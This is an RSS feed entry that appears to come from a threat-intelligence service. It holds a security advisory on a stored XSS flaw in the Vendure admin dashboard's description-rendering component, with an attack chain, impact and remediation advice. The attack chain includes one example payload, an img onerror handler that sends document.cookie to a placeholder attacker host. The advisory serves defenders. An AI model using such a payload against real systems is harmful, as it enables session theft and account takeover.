<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:webfeeds="http://webfeeds.org/rss/1.0"><channel><title>Vendure Dashboard (&lt; 3.6.5) - CraftedSignal Threat Feed</title><link>https://feed.craftedsignal.io/products/vendure-dashboard--3.6.5/</link><description>Trending threats, MITRE ATT&amp;CK coverage, and detection metadata. Fed continuously.</description><generator>Hugo</generator><language>en</language><managingEditor>hello@craftedsignal.io</managingEditor><webMaster>hello@craftedsignal.io</webMaster><lastBuildDate>Thu, 17 Sep 2026 19:15:10 +0000</lastBuildDate><atom:link href="https://feed.craftedsignal.io/products/vendure-dashboard--3.6.5/feed.xml" rel="self" type="application/rss+xml"/><image><url>https://feed.craftedsignal.io/favicon-32x32.png</url><title>CraftedSignal Threat Feed</title><link>https://feed.craftedsignal.io/</link><width>32</width><height>32</height></image><webfeeds:icon>https://feed.craftedsignal.io/favicon.svg</webfeeds:icon><item><title>Stored XSS in Vendure Admin Dashboard via Unsafe HTML Stripping</title><link>https://feed.craftedsignal.io/briefs/2026-09-vendure-xss/</link><pubDate>Thu, 17 Sep 2026 19:15:10 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-09-vendure-xss/</guid><description>A stored Cross-Site Scripting (XSS) vulnerability in the Vendure Admin Dashboard allows authenticated administrators to execute arbitrary JavaScript in the context of other users viewing entity lists, leading to potential account takeover.</description><content:encoded><![CDATA[<p>The Vendure e-commerce framework contains a high-severity stored Cross-Site Scripting (XSS) vulnerability, tracked as CVE-2026-63459, residing in the <code>@vendure/dashboard</code> package. The flaw exists within the <code>RichTextDescriptionCell</code> component, which is responsible for rendering entity descriptions in various administrative list views, including products, collections, promotions, payment methods, and shipping methods.</p>
<p>The application attempts to strip HTML from user-supplied descriptions by assigning raw string input to the <code>innerHTML</code> property of a detached <code>div</code> element. Because browsers parse and execute active markup within <code>innerHTML</code> - even in detached nodes - payloads such as <code>&lt;img&gt;</code> tags with <code>onerror</code> event handlers trigger immediately upon assignment. This enables a lower-privileged channel-scoped administrator to inject malicious scripts that execute with the permissions of any administrator who views the list containing the payload. Successful exploitation leads to session hijacking, token exfiltration, or the unauthorized performance of administrative actions within the dashboard. The vulnerability affects all versions of <code>@vendure/dashboard</code> prior to 3.6.5.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker gains access to an administrator account with at least catalog, promotion, or settings write permissions.</li>
<li>Attacker modifies a product, collection, or promotion entity description via the administrative API.</li>
<li>Attacker embeds a malicious payload within the description field using active markup, such as <code>&lt;img src=x onerror=&quot;fetch('https://attacker.example/'+document.cookie)&quot;&gt;</code>.</li>
<li>The application stores this malicious description string in the database as part of the entity configuration.</li>
<li>A high-privileged administrator (e.g., a superadmin) navigates to the administrative list view (e.g., Products, Promotions) in the Vendure dashboard.</li>
<li>The <code>RichTextDescriptionCell</code> component retrieves the malicious description and assigns it to a <code>div</code> element via <code>innerHTML</code> during the React rendering cycle.</li>
<li>The browser parses the <code>&lt;img&gt;</code> tag, fails to find the image source, and immediately executes the <code>onerror</code> JavaScript payload in the victim administrator's browser session.</li>
<li>The script exfiltrates the victim's session token or performs unauthorized actions, achieving account or store compromise.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation allows for the compromise of high-privileged administrative accounts by lower-privileged administrators. This results in the loss of integrity and confidentiality for the e-commerce store, including potential unauthorized changes to products, pricing, or system configurations, and complete account takeover.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Upgrade Vendure to version 3.6.5 or later immediately to resolve the vulnerable <code>RichTextDescriptionCell</code> implementation.</li>
<li>Audit administrative activity logs for unexpected <code>PATCH</code> or <code>POST</code> requests to product, collection, or promotion endpoints containing HTML tags or script-like patterns.</li>
<li>Implement Content Security Policy (CSP) headers to restrict unauthorized script execution and <code>fetch</code> requests within the administrative dashboard interface.</li>
<li>If immediate patching is not possible, restrict administrative write permissions for description fields to the minimum number of trusted users.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>xss</category><category>web-vulnerability</category><category>dashboard</category><category>ecommerce</category></item></channel></rss>